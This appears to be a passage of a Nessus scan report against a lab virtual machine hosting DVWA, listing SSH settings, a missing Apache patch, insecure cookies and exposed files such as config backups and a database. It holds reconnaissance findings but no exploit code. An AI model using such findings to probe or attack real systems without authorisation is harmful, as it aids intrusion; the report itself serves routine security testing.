Remote operating system : Linux Kernel 2.6  
Confidence level : 65  
Method : SinFP
```

```
The remote host is running Linux Kernel 2.6
```

Synopsis

OS Security Patch Assessment is not available.

Description

OS Security Patch Assessment is not available on the remote host.

This does not necessarily indicate a problem with the scan.

Credentials may not have been provided, OS security patch assessment may not be supported for the target, the target may not have been identified, or another issue may have occurred that prevented OS security patch assessment from being available. See plugin output for details.

This plugin reports non-failure information impacting the availability of OS Security Patch Assessment. Failure information is reported by plugin 21745 : 'OS Security Patch Assessment failed'. If a target host is not supported for OS Security Patch Assessment, plugin 110695 : 'OS Security Patch Assessment Checks Not Supported' will report concurrently with this plugin.

Solution

n/a

Risk Factor

None

References

XREF IAVB:0001-B-0515

Plugin Information

Published: 2018/10/02, Modified: 2021/07/12

Plugin Output

tcp/0

The following issues were reported :

```
- Plugin      : no_local_checks_credentials.nasl
  Plugin ID   : 110723
  Plugin Name : Target Credential Status by Authentication Protocol - No Credentials Provided
  Message     :
  Credentials were not provided for detected SSH service.
```

Synopsis

The remote host is missing several patches.

Description

The remote host is missing one or more security patches. This plugin lists the newest version of each patch to install to make sure the remote host is up-to-date.

Solution

Install the patches listed below.

Risk Factor

None

Plugin Information

Published: 2013/07/08, Modified: 2021/11/09

Plugin Output

tcp/0

```
. You need to take the following action :  
[ Apache >= 2.4.30 < 2.4.49 mod_proxy_uwsgi (153586) ]  
+ Action to take : Upgrade to Apache version 2.4.49 or later.  
+Impact : Taking this action will resolve 7 different vulnerabilities (CVEs).
```

Synopsis

An SSH server is listening on this port.

Description

This script detects which algorithms and languages are supported by the remote service for encrypting communications.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2013/10/28, Modified: 2017/08/28

Plugin Output

tcp/22/ssh

```
Nessus negotiated the following encryption algorithm with the server :
```

```
The server supports the following options for kex_algorithms :
```

```
curve25519-sha256
curve25519-sha256@libssh.org
diffie-hellman-group-exchange-sha256
diffie-hellman-group14-sha256
diffie-hellman-group16-sha512
diffie-hellman-group18-sha512
ecdh-sha2-nistp256
ecdh-sha2-nistp384
ecdh-sha2-nistp521
```

```
The server supports the following options for server_host_key_algorithms :
```

```
ecdsa-sha2-nistp256
rsa-sha2-256
rsa-sha2-512
ssh-ed25519
ssh-rsa
```

```
The server supports the following options for encryption_algorithms_client_to_server :
```

```
aes128-ctr
aes128-gcm@openssh.com
aes192-ctr
aes256-ctr
aes256-gcm@openssh.com
```

chacha20-poly1305@openssh.com

The server supports the following options for encryption_algorithms_server_to_client :

aes128-ctr
aes128-gcm@openssh.com
aes192-ctr
aes256-ctr
aes256-gcm@openssh.com
chacha20-poly1305@openssh.com

The server supports the following options for mac_algorithms_client_to_server :

hmac-sha1
hmac-sha1-etm@openssh.com
hmac-sha2-256
hmac-sha2-256-etm@openssh.com
hmac-sha2-512
hmac-sha2-512-etm@openssh.com
umac-128-etm@openssh.com
umac-128@openssh.com
umac-64-etm@openssh.com
umac-64@openssh.com

The server supports the following options for mac_algorithms_server_to_client :

hmac-sha1
hmac-sha1-etm@openssh.com
hmac-sha2-256
hmac-sha2-256-etm@openssh.com
hmac-sha2-512
hmac-sha2-512-etm@openssh.com
umac-128-etm@openssh.com
umac-128@openssh.com
umac-64-etm@openssh.com
umac-64@openssh.com

The server supports the following options for compression_algorithms_client_to_server :

none
zlib@openssh.com

The server supports the following options for compression_algorithms_server_to_client :

none
zlib@openssh.com

Synopsis

The SSH server on the remote host accepts password authentication.

Description

The SSH server on the remote host accepts password authentication.

See Also

<https://tools.ietf.org/html/rfc4252#section-8>

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2021/05/07, Modified: 2021/05/07

Plugin Output

tcp/22/ssh

10881 - SSH Protocol Versions Supported

Synopsis

A SSH server is running on the remote host.

Description

This plugin determines the versions of the SSH protocol supported by the remote SSH daemon.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2002/03/06, Modified: 2021/01/19

Plugin Output

tcp/22/ssh

```
The remote SSH daemon supports the following versions of the
SSH protocol :
```

- 1.99
- 2.0

Synopsis

The remote SSH server is configured to enable SHA-1 HMAC algorithms.

Description

The remote SSH server is configured to enable SHA-1 HMAC algorithms.

Although NIST has formally deprecated use of SHA-1 for digital signatures, SHA-1 is still considered secure for HMAC as the security of HMAC does not rely on the underlying hash function being resistant to collisions.

Note that this plugin only checks for the options of the remote SSH server.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2021/09/23, Modified: 2021/09/23

Plugin Output

tcp/22/ssh

```
The following client-to-server SHA-1 Hash-based Message Authentication Code (HMAC) algorithms are supported :
```

```
hmac-sha1
hmac-sha1-etm@openssh.com
```

```
The following server-to-client SHA-1 Hash-based Message Authentication Code (HMAC) algorithms are supported :
```

```
hmac-sha1
hmac-sha1-etm@openssh.com
```

10267 - SSH Server Type and Version Information

Synopsis

An SSH server is listening on this port.

Description

It is possible to obtain information about the remote SSH server by sending an empty authentication request.

Solution

n/a

Risk Factor

None

References

XREF IAVT:0001-T-0933

Plugin Information

Published: 1999/10/12, Modified: 2020/09/22

Plugin Output

tcp/22/ssh

```
SSH version : SSH-2.0-OpenSSH_8.4p1 Ubuntu-5ubuntu1.1
SSH supported authentication : publickey,password
```

Synopsis

The remote service could be identified.

Description

Nessus was able to identify the remote service by its banner or by looking at the error message it sends when it receives an HTTP request.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2007/08/19, Modified: 2021/04/14

Plugin Output

tcp/22/ssh

```
An SSH server is running on this port.
```

Synopsis

The remote service could be identified.

Description

Nessus was able to identify the remote service by its banner or by looking at the error message it sends when it receives an HTTP request.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2007/08/19, Modified: 2021/04/14

Plugin Output

tcp/80/www

```
A web server is running on this port.
```

Synopsis

The remote service implements TCP timestamps.

Description

The remote host implements TCP timestamps, as defined by RFC1323. A side effect of this feature is that the uptime of the remote host can sometimes be computed.

See Also

<http://www.ietf.org/rfc/rfc1323.txt>

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2007/05/16, Modified: 2019/03/06

Plugin Output

tcp/0

Synopsis

Nessus was able to find common ports used for local checks, however, no credentials were provided in the scan policy.

Description

Nessus was not able to successfully authenticate directly to the remote target on an available authentication protocol. Nessus was able to connect to the remote port and identify that the service running on the port supports an authentication protocol, but Nessus failed to authenticate to the remote service using the provided credentials. There may have been a protocol failure that prevented authentication from being attempted or all of the provided credentials for the authentication protocol may be invalid. See plugin output for error details.

Please note the following :

- This plugin reports per protocol, so it is possible for valid credentials to be provided for one protocol and not another. For example, authentication may succeed via SSH but fail via SMB, while no credentials were provided for an available SNMP service.
- Providing valid credentials for all available authentication protocols may improve scan coverage, but the value of successful authentication for a given protocol may vary from target to target depending upon what data (if any) is gathered from the target via that protocol. For example, successful authentication via SSH is more valuable for Linux targets than for Windows targets, and likewise successful authentication via SMB is more valuable for Windows targets than for Linux targets.

Solution

n/a

Risk Factor

None

References

XREF IAVB:0001-B-0504

Plugin Information

Published: 2018/06/27, Modified: 2021/11/19

Plugin Output

tcp/0

```
SSH was detected on port 22 but no credentials were provided.  
SSH local checks were not enabled.
```

Synopsis

It was possible to obtain traceroute information.

Description

Makes a traceroute to the remote host.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 1999/11/27, Modified: 2020/08/20

Plugin Output

udp/0

```
For your information, here is the traceroute from 192.168.1.188 to 192.168.1.210 :  
192.168.1.188  
192.168.1.210  
  
Hop Count: 1
```

Synopsis

The remote host is a VMware virtual machine.

Description

According to the MAC address of its network adapter, the remote host is a VMware virtual machine.

Solution

Since it is physically accessible through the network, ensure that its configuration matches your organization's security policy.

Risk Factor

None

Plugin Information

Published: 2005/10/27, Modified: 2019/12/11

Plugin Output

tcp/0

```
The remote host is a VMware virtual machine.
```


Synopsis

HTTP session cookies might be transmitted in cleartext.

Description

The remote web application sets various cookies throughout a user's unauthenticated and authenticated session. However, there are instances where the application is running over unencrypted HTTP or the cookies are not marked 'secure', meaning the browser could send them back over an unencrypted link under certain circumstances. As a result, it may be possible for a remote attacker to intercept these cookies.

Note that this plugin detects all general cookies missing the 'secure'

cookie flag, whereas plugin 49218 (Web Application Session Cookies Not Marked Secure) will only detect session cookies from an authenticated session missing the secure cookie flag.

See Also

<https://www.owasp.org/index.php/SecureFlag>

Solution

Each cookie should be carefully reviewed to determine if it contains sensitive data or is relied upon for a security decision.

If possible, ensure all communication occurs over an encrypted channel and add the 'secure' attribute to all session cookies or any cookies containing sensitive data.

Risk Factor

None

References

| | |
|------|---------|
| XREF | CWE:522 |
| XREF | CWE:718 |
| XREF | CWE:724 |
| XREF | CWE:928 |
| XREF | CWE:930 |

Plugin Information

Published: 2015/08/24, Modified: 2015/08/24

Plugin Output

tcp/80/www

The following cookies do not set the secure cookie flag :

Name : security
Path : /
Value : impossible
Domain :
Version : 1
Expires :
Comment :
Secure : 0
Httponly : 1
Port :

Name : PHPSESSID
Path : /
Value : hslicnko3v26fbfoaftvnbiq6
Domain :
Version : 1
Expires :
Comment :
Secure : 0
Httponly : 1
Port :

Synopsis

An application was found that may use CGI parameters to control sensitive information.

Description

According to their names, some CGI parameters may control sensitive data (e.g., ID, privileges, commands, prices, credit card data, etc.). In the course of using an application, these variables may disclose sensitive data or be prone to tampering that could result in privilege escalation. These parameters should be examined to determine what type of data is controlled and if it poses a security risk.

** This plugin only reports information that may be useful for auditors

** or pen-testers, not a real flaw.

Solution

Ensure sensitive data is not disclosed by CGI parameters. In addition, do not use CGI parameters to control access to resources or privileges.

Risk Factor

None

Plugin Information

Published: 2009/08/25, Modified: 2021/01/19

Plugin Output

tcp/80/www

```
Potentially sensitive parameters for CGI /login.php :  
password : Possibly a clear or hashed password, vulnerable to sniffing or dictionary attack
```

Synopsis

The remote web server hosts linkable content that can be crawled by Nessus.

Description

The remote web server contains linkable content that can be used to gather information about a target.

See Also

<http://www.nessus.org/u?5496c8d9>

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2016/06/24, Modified: 2016/06/24

Plugin Output

tcp/80/www

The following sitemap was created from crawling linkable content on the target host :

- <http://192.168.1.210/config/>
- <http://192.168.1.210/config/config.inc.php>
- <http://192.168.1.210/config/config.inc.php.bak>
- <http://192.168.1.210/config/config.inc.php.dist>
- <http://192.168.1.210/database/>
- http://192.168.1.210/database/create_mssql_db.sql
- http://192.168.1.210/database/create_oracle_db.sql
- http://192.168.1.210/database/create_sqlite_db.sql
- <http://192.168.1.210/database/sqli.db>
- <http://192.168.1.210/database/sqli.db.dist>
- <http://192.168.1.210/docs/>
- http://192.168.1.210/docs/DVWA_v1.3.pdf
- <http://192.168.1.210/docs/pdf.html>
- <http://192.168.1.210/dvwa/>
- <http://192.168.1.210/dvwa/css/>
- <http://192.168.1.210/dvwa/css/help.css>
- <http://192.168.1.210/dvwa/css/login.css>
- <http://192.168.1.210/dvwa/css/main.css>
- <http://192.168.1.210/dvwa/css/source.css>
- <http://192.168.1.210/dvwa/images/>
- <http://192.168.1.210/dvwa/images/RandomStorm.png>
- <http://192.168.1.210/dvwa/images/dollar.png>

```
- http://192.168.1.210/dvwa/images/lock.png
- http://192.168.1.210/dvwa/images/login_logo.png
- http://192.168.1.210/dvwa/images/logo.png
- http://192.168.1.210/dvwa/images/spanner.png
- http://192.168.1.210/dvwa/images/warning.png
- http://192.168.1.210/dvwa/includes/
- http://192.168.1.210/dvwa/includes/DBMS/
- http://192.168.1.210/dvwa/includes/Parsedown.php
- http://192.168.1.210/dvwa/includes/dvwaPage.inc.php
- http://192.168.1.210/dvwa/includes/dvwaPhpIds.inc.php
- http://192.168.1.210/dvwa/js/
- http://192.168.1.210/dvwa/js/add_event_listeners.js
- http://192.168.1.210/dvwa/js/dvwaPage.js
- http://192.168.1.210/external/
- http://192.168.1.210/external/phpids/
- http://192.168.1.210/external/phpids/0.6/
- http://192.168.1.210/external/phpids/0.6/LICENSE
- http://192.168.1.210/external/phpids/0.6/build.xml
- http://192.168.1.210/external/phpids/0.6/docs/
- http://192.168.1.210/external/phpids/0.6/docs/examples/
- http://192.168.1.210/ [...]
```

Synopsis

It is possible to enumerate directories on the web server.

Description

This plugin attempts to determine the presence of various common directories on the remote web server. By sending a request for a directory, the web server response code indicates if it is a valid directory or not.

See Also

<http://projects.webappsec.org/w/page/13246953/Predictable%20Resource%20Location>

Solution

n/a

Risk Factor

None

References

XREF OWASP:OWASP-CM-006

Plugin Information

Published: 2002/06/26, Modified: 2021/08/17

Plugin Output

tcp/80/www

```
The following directories were discovered:  
/config, /database, /tests, /docs, /external, /icons
```

```
While this is not, in and of itself, a bug, you should manually inspect  
these directories to ensure that they are in compliance with company  
security standards
```

Synopsis

The remote web server hosts office-related files.

Description

This plugin connects to the remote web server and attempts to find office-related files such as .doc, .ppt, .xls, .pdf etc.

Solution

Make sure that such files do not contain any confidential or otherwise sensitive information and that they are only accessible to those with valid credentials.

Risk Factor

None

Plugin Information

Published: 2003/03/19, Modified: 2021/01/19

Plugin Output

tcp/80/www

```
The following office-related files are available on the remote server :
```

- ```
- Adobe Acrobat files (.pdf) :
 /docs/DVWA_v1.3.pdf
```

### Synopsis

---

The remote web server contains a 'robots.txt' file.

### Description

---

The remote host contains a file named 'robots.txt' that is intended to prevent web 'robots' from visiting certain directories in a website for maintenance or indexing purposes. A malicious user may also be able to use the contents of this file to learn of sensitive documents or directories on the affected site and either retrieve them directly or target them for other attacks.

### See Also

---

<http://www.robotstxt.org/orig.html>

### Solution

---

Review the contents of the site's robots.txt file, use Robots META tags instead of entries in the robots.txt file, and/or adjust the web server's access controls to limit access to sensitive material.

### Risk Factor

---

None

### Plugin Information

---

Published: 1999/10/12, Modified: 2018/11/15

### Plugin Output

---

tcp/80/www

```
Contents of robots.txt :
```

```
User-agent: *
Disallow: /
```



### Synopsis

Nessus can crawl the remote website.

### Description

This plugin makes a mirror of the remote website(s) and extracts the list of CGIs that are used by the remote host.

It is suggested that you change the number of pages to mirror in the 'Options' section of the client.

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2001/05/04, Modified: 2021/10/19

### Plugin Output

tcp/80/www

```
Webmirror performed 203 queries in 16s (12.0687 queries per second)
```

```
The following CGIs have been discovered :
```

```
+ CGI : /login.php
 Methods : POST
 Argument : Login
 Value: Login
 Argument : password
 Argument : user_token
 Value: 8928fe7c72a9be28523a4d7920ce203a
 Argument : username

Directory index found at /config/
Directory index found at /external/
Directory index found at /docs/
Directory index found at /tests/
Directory index found at /database/
Directory index found at /external/phpids/
Directory index found at /external/recaptcha/
Directory index found at /dvwa/css/
Directory index found at /dvwa/
Directory index found at /external/phpids/0.6/
Directory index found at /dvwa/images/
Directory index found at /dvwa/includes/
Directory index found at /dvwa/js/
```

```
Directory index found at /external/phpids/0.6/docs/
Directory index found at /external/phpids/0.6/lib/
Directory index found at /external/phpids/0.6/tests/
Directory index found at /dvwa/includes/DBMS/
Directory index found at /external/phpids/0.6/docs/examples/
Directory index found at /external/phpids/0.6/lib/IDS/
Directory index found at /external/phpids/0.6/tests/IDS/
```